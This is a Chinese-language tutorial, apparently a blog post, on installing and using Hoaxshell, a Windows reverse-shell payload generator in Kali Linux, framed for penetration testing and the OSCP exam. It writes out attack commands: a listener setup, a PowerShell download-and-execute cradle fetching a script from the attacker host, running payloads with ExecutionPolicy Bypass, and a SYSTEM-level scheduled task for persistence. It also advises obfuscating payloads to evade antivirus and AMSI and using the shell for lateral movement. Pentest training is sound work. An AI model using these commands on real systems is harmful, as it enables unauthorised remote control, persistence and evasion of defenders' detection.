1. 背景介绍
Hoaxshell 是一个功能强大的 Windows 反向 Shell 载荷生成器和处理工具,最近被整合到 Kali Linux 2025.1a 版本中(发布于2025年3月19日)。该工具通过滥用 HTTP/HTTPS 协议建立类似beacon(信标)的持久反向 Shell,具有高度隐蔽性和规避传统安全检测的能力。Hoaxshell 特别适合渗透测试场景,能够帮助测试者模拟攻击行为以评估目标系统的安全性,在 OSCP 考试中可用。
主要特点:
- HTTP/HTTPS 通信:利用常见协议隐藏恶意流量,绕过网络安全控制。
- 载荷混淆:支持 Base64 编码和其他混淆技术,规避 Windows Defender 等防病毒软件。
- 信标行为:建立持久连接,适合长期控制目标系统。
- 灵活配置:支持自定义 HTTP 头、端口、证书等,增强隐蔽性。
- 隧道支持:兼容 Ngrok 和 LocalTunnel,解决动态 IP 或端口转发限制。
2. 安装 Hoaxshell
Hoaxshell 已包含在 Kali Linux 2025.1a 的软件仓库中,安装过程简单。以下是安装步骤:
2.1 确保系统为最新版本
运行以下命令更新 Kali Linux 系统:
sudo apt update && sudo apt full-upgrade -y
2.2 安装 Hoaxshell
使用以下命令安装 Hoaxshell:
sudo apt install hoaxshell -y
安装完成后,Hoaxshell 将占用约 84 KB 磁盘空间,并自动安装依赖项(如 Python3、Python3-IPython、Python3-Pyperclip)。
2.3 验证安装
运行以下命令检查 Hoaxshell 是否正确安装:
hoaxshell -h
这将显示 Hoaxshell 的帮助菜单,列出所有可用选项和参数。
3. 配置 Hoaxshell
在使用 Hoaxshell 之前,需要配置攻击者的服务器(即运行 Hoaxshell 的 Kali 机器)。以下是关键配置步骤:
3.1 基本配置选项
Hoaxshell 提供多种命令行参数,以下是常用的几个:
-s, --server-ip
:指定攻击者服务器的 IP 地址或域名。-p, --port
:指定监听端口(HTTP 默认 8080,HTTPS 默认 443)。-H, --Header
:自定义 HTTP 头名称,规避基于正则的防病毒检测。-c, --certfile
和-k, --keyfile
:指定 SSL 证书和私钥路径,用于 HTTPS 通信。-x, --exec-outfile
:指定受害者机器上存储命令的 .ps1 文件路径。-cm, --constraint-mode
:生成适用于 PowerShell 约束语言模式的载荷(牺牲部分输出解码精度)。-lt, --localtunnel
或-ng, --ngrok
:使用 LocalTunnel 或 Ngrok 生成隧道载荷。-r, --raw
:生成未编码的原始 PowerShell 载荷。
3.2 配置 HTTPS 通信(推荐,可选)
为提高隐蔽性,建议使用 HTTPS 协议。以下是配置步骤:
3.2.1 生成自签名证书
如果没有现成的证书,可以使用 OpenSSL 生成自签名证书(注意:自签名证书可能触发安全警告,不推荐用于生产环境):
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
3.2.2 使用受信任证书
若拥有合法域名和受信任证书(如 Let’s Encrypt),可通过以下命令指定:
hoaxshell -s your.domain.com -t -c /path/to/cert.pem -k /path/to/key.pem
3.3 抓取会话模式
如果您不小心关闭了终端、断电或其他情况(注意不是手动退出),您可以在抓取会话模式下启动 hoaxshell,它会尝试重新建立会话,因为有效负载仍在受害机器上运行。
hoaxshell -s <your_ip> -g
重要提示:确保使用与您尝试恢复的会话相同的设置(http/https、端口等)启动 hoaxshell。
3.4 使用隧道工具
如果攻击者没有静态 IP 或无法进行端口转发,可以使用 Ngrok 或 LocalTunnel:
- Ngrok:
- 安装 Ngrok 并启动服务。
- 运行
hoaxshell -ng
生成 Ngrok 载荷。
- LocalTunnel:
- 安装 LocalTunnel。
- 运行
hoaxshell -lt
生成 LocalTunnel 载荷。
4. 使用 Hoaxshell
以下是一个完整的 Hoaxshell 使用流程,假设您已获得目标系统的初始访问权限(例如通过社会工程学或漏洞利用)。
4.1 启动 Hoaxshell 服务器
在 Kali 机器上启动 Hoaxshell 服务器。例如,使用 HTTP 协议:
hoaxshell -s 192.168.1.100 -p 8080 -H "Authorization"
此命令指定攻击者 IP 为 192.168.1.100
,监听端口为 8080
,并使用自定义 HTTP 头 Authorization
规避检测。
启动后,Hoaxshell 将生成一个 Base64 编码的 PowerShell 载荷,显示在终端中。您可以复制此载荷。
4.2 将载荷部署到目标
将生成的 PowerShell 载荷传输到目标 Windows 系统,并通过以下方式执行:
- 手动执行:将载荷粘贴到目标的 PowerShell 终端并运行。
- 文件执行:将载荷保存为 .ps1 文件(如
hack.ps1
),然后运行:powershell.exe -ExecutionPolicy Bypass -File hack.ps1
- 远程下载:将载荷托管在 Web 服务器上,通过 PowerShell 下载并执行:
iex (New-Object Net.WebClient).DownloadString('http://192.168.1.100/return_443.ps1')
4.3 交互式 Shell
载荷执行后,Hoaxshell 服务器将接收到来自目标的反向连接。您可以在 Hoaxshell 终端中输入 PowerShell 命令,实时控制目标系统。例如:
whoami
dir
powershell echo 'This is a test'
注意:避免运行交互式命令(如直接运行 powershell
或 cmd.exe
),否则可能导致 Shell 挂起!(所以这个工具还挺飞舞的。。。)
4.4 混淆载荷
为规避防病毒软件,建议手动混淆载荷或使用工具(如 AMSI Trigger)。Hoaxshell 默认生成的 Base64 编码载荷可能被检测到,因此需要额外处理。
5. OSCP 考试中的应用
在 OSCP 考试中,Hoaxshell 可用于以下场景:
- 反向 Shell 建立:在获得初始访问后(如通过 Web 漏洞或弱密码),使用 Hoaxshell 建立持久连接,便于后续提权或横向移动。
- 规避基本防御:Hoaxshell 的 HTTP/HTTPS 通信和自定义头功能可绕过简单的防火墙或防病毒软件,适合考试环境中未更新的 Windows 系统。
- 横向移动:结合计划任务(如
schtasks
)或 PsExec,利用 Hoaxshell 载荷在网络中其他系统上建立 Shell。 - 手动操作:OSCP 考试限制使用自动化工具(如 sqlmap),Hoaxshell 的手动配置和载荷生成符合考试要求。
5.1 示例场景
假设您通过 Web 漏洞上传了一个恶意 .ps1 文件到目标 Windows 系统:
- 在 Kali 上运行:
hoaxshell -s 192.168.1.100 -x "C:\Users\$env:USERNAME\.local\hack.ps1"
- 在目标系统上运行计划任务,下载并执行载荷:
schtasks /create /SC Weekly /RU "NT Authority\SYSTEM" /TN "CYBERSEC" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://192.168.1.100/return_443.ps1''')'"
- 等待反向连接,执行提权或信息收集命令。
总结
Hoaxshell 是 Kali Linux 2025.1a 新增的 Windows 反向 Shell 工具,利用 HTTP/HTTPS 协议创建隐蔽、持久的连接,适合渗透测试以及 OSCP 考试。它支持载荷混淆、自定义配置和 Ngrok/LocalTunnel 隧道,能绕过防火墙和防病毒软件。安装简单,配置灵活,使用流程包括启动服务器、部署 PowerShell 载荷和交互式控制目标系统。在 OSCP 中,Hoaxshell 可用于建立反向 Shell、规避基本防御和横向移动。